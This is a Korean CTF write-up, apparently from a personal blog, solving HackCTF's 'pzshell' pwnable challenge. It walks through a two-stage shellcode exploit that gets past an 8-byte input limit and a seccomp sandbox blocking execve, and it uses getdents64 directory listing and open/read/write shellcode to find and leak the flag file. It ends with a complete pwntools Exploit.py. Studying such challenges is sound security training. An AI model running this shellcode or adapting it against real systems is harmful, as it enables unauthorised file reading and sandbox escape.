-
[Pwnable] pzshellWargame/HackCTF 2020. 1. 31. 20:05
들어가며
이 문제는
ezshell
에서 한층 더 진화된 문제이다.쉘코드 작성법에 대해서 한층 더 깊게 공부할 수 있었던 문제였다.
그리고,
getdents
함수에 대해서도 알게 되었던 문제이다.문제해석
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <seccomp.h> #include <linux/seccomp.h> #include <sys/prctl.h> #include <fcntl.h> void sandbox(void) { scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW); if (ctx == NULL) { write(1, "seccomp error\n", 15); exit(-1); } seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(fork), 0); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(vfork), 0); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(clone), 0); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(creat), 0); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(ptrace), 0); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(prctl), 0); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0); if (seccomp_load(ctx) < 0) { seccomp_release(ctx); write(1, "seccomp error\n", 15); exit(-2); } seccomp_release(ctx); } void Init(void) { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); } int main(void) { char s[0x10]; char result[0x100] = "\x0F\x05\x48\x31\xED\x48\x31\xE4\x48\x31\xC0\x48\x31\xDB \x48\x31\xC9\x48\x31\xF6\x48\x31\xFF\x4D\x31\xC0\x4D\x31 \xC9\x4D\x31\xD2\x4D\x31\xDB\x4D\x31\xE4\x4D\x31\xED\x4D \x31\xF6\x4D\x31\xFF\x66\xbe\xf1\xde"; char filter[2] = {'\x0f', '\x05'}; Init(); read(0, s, 8); for (int i = 0; i < 2; i ++) { if (strchr(s, filter[i])) { puts("filtering :)"); exit(1); } } strcat(result, s); sandbox(); (*(void (*)()) result + 2)(); }
문제는
ezshell
과 다를것이 별로 없지만, 입력크기가8
로 줄어든 것과sandbox()
함수가 추가되어,syscall
에서execve
를 사용하지 못한다.첫번째로, 입력크기가
8
로 줄어들었으니 그것을 우선 해결해야 한다.두번째로,
execve
를 사용하지 못하니 우리는 이 문제를ORW(Open Read Write)
를 통하여 문제를 해결할 수 있다.ORW
ORW
란, flag파일을Open
으로fd descriptor
를 받아온 후,Read
를 통하여Writeable한 영역
에 파일의 내용을 받아온다.마지막으로,
Write
를 통해stdout
으로 화면에 출력해주면 flag가 나온다.풀이
우선, 문제에서 주어진
shellcode
를 확인해보자.이전 문제와 동일하게
register
들의 값을 싹다 날려버린다. 하지만, 이전문제와 다른 점이 보인다.바로,
rdx
와rsi
를 남겨놓는다는 점이다.이때,
rdx
는 문제에서 제공하는shellcode
에서syscall 다음 주소
를 가르키고 있었다.
그러므로,
xchg instruction
을 통하여 값을exchange
해보자.총
3bytes
이다! 다음에syscall
로jmp
할shellcode
가5bytes
이므로8bytes
를 넘지 않는다.아마 출제자의 intending이
xchg
를 사용하는 것이 아닐까 싶다.그렇다면,
shellcode
를 작성해보자.from pwn import * context.terminal = ['tmux', 'splitw', '-h'] r = process("./pzshell") #r = remote("ctf.j0n9hyun.xyz", 3038) gdb.attach(r) context.arch = 'amd64' shellcode = '' shellcode += asm("xchg rsi,rdx") shellcode += "\xe9\xc5\xff\xff\xff" print(len(shellcode)) r.send(shellcode) shellcode = '' shellcode += "\x90"*8 r.send(shellcode)
jmp instruction
에서상대주소
계산법은 여기를 참고하길 바란다.첫번째 send를 보내면,
read(0, syscall다음 주소, 0xdef1)
이 될 것이다.두번째 send를 보내면,
syscall
다음부터nop
이 들어가게 될 것이다.정상적으로
jmp
를 하는 것을 볼 수 있다.read(0, syscall다음 주소, 0xdef1)에 nop을 넣은 결과 read
함수 역시 제대로 수행된 것을 볼 수 있다.
이제,
ORW
를 할 차례이다.pwntools
모듈에shellcraft
라는 것을 이용하여 쉽게 작성해보았다.shellcode = '' shellcode += asm("mov rsp, qword ptr fs:[rbx]") shellcode += asm(shellcraft.open("/home/attack/flag")) shellcode += asm(shellcraft.read("rax", "rsp", 100)) shellcode += "\x90"*8 shellcode += asm(shellcraft.write(1, "rsp", 100))
rsp
에ezshell
문제에서와 똑같이fs:0x0
를 복사함으로써,writeable한 영역
을 만들어주었다.read
함수의fd
에rax
를 넣어준 이유는open
함수로 연 파일의fd
가rax(function return register)
이기 때문이다.중간에
nop sled
는read
와write
사이에서shellcode
가 꼬여서 넣어주었다.파일 이름은 다른 문제들의 형식이 저런 형식이라서 한번 guessing을 해보았다.
일단,
local
에서 제대로 읽어와 지는지 한번 봐보자.local환경에서 ORW 잘 읽어와진다. 이제
remote
환경에서 잘 읽는지도 확인해보자.remote환경에서 ORW 읽어오지 못한다.
왜일까?
답은
"파일 이름이 달라서"
일 것이다.파일 이름을 때려 맞출 수는 없으니, 우리는
getdents64
라는 함수를 이용하여directory listing
을 시도해볼 것이다.getdents64
int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
getdents64
함수는open
함수로directory
를fd
로 지정한 후, 그fd
를 통해서dirp구조체 ptr
에 해당directory
의inode
,file type
,d_reclen
,d_off
,d_name
를 저장한다.이때,
d_name
이 파일명이 된다.자세한 내용과 예시는 이곳에 정리가 되어있다.
그렇다면 위의 정보를 토대로
shellcode
를 구상해보자.1. open("/home/")으로 /home/ directory를 fd에 저장한다. 2. getdents64(fd, rsp, 1024) 로 rsp에 directory의 내용을 저장한다. 3. write(1, rsp, 1024) 로 화면에 directory의 내용을 출력해준다.
/home에 있는 내용 성공적으로 출력되었다.
/home/attack
까지는 맞았다.이제
/home/attack
하위 directory에 어떤 파일이flag파일
일지 한번 더 보내보자./home/attack에 있는 내용 main은 아마 binary파일일 것이고,
S3cr3t_F14g
가 우리가 찾는flag파일
로 보인다.그렇다면, 아까의
ORW
에서는 파일 이름이 맞지 않아,open
함수에서rax
가-1
이었을 것이다.이제, 파일이름을 맞춰준 후,
ORW
를 시도해보자.Exploit.py
from pwn import * context.terminal = ['tmux', 'splitw', '-h'] #r = process("./pzshell") r = remote("ctf.j0n9hyun.xyz", 3038) #gdb.attach(r) context.arch = 'amd64' # Stage 1 : read(0, &(next_to_syscall), 0xdef1) shellcode = '' shellcode += asm("xchg rsi,rdx") shellcode += "\xe9\xc5\xff\xff\xff" #print(len(shellcode)) r.send(shellcode) # Stage 2 : Directory listing shellcode = '' shellcode += asm("mov rsp, qword ptr fs:[rbx]") shellcode += asm(shellcraft.open("/home/attack")) shellcode += asm(shellcraft.getdents64("rax", "rsp", 1024)) shellcode += "\x90"*8 shellcode += asm(shellcraft.write(1, "rsp", 1024)) # Stage 3 : ORW shellcode += asm(shellcraft.open("/home/attack/S3cr3t_F14g")) shellcode += asm(shellcraft.read("rax", "rsp", 100)) shellcode += "\x90"*8 shellcode += asm(shellcraft.write(1, "rsp", 100)) r.send(shellcode) r.recv() # Show as debugging mode log.info("Flag: "+r.recvuntil('\n'))
'Wargame > HackCTF' 카테고리의 다른 글
[Pwnable] j0n9hyun's secret (0) 2020.01.31 [Pwnable] Unexploitable #1, #2 (0) 2020.01.27 [Pwnable] World Best Encryption Tool (0) 2020.01.16 [Misc] 탈옥 (0) 2020.01.16 [Pwnable] Register (0) 2020.01.16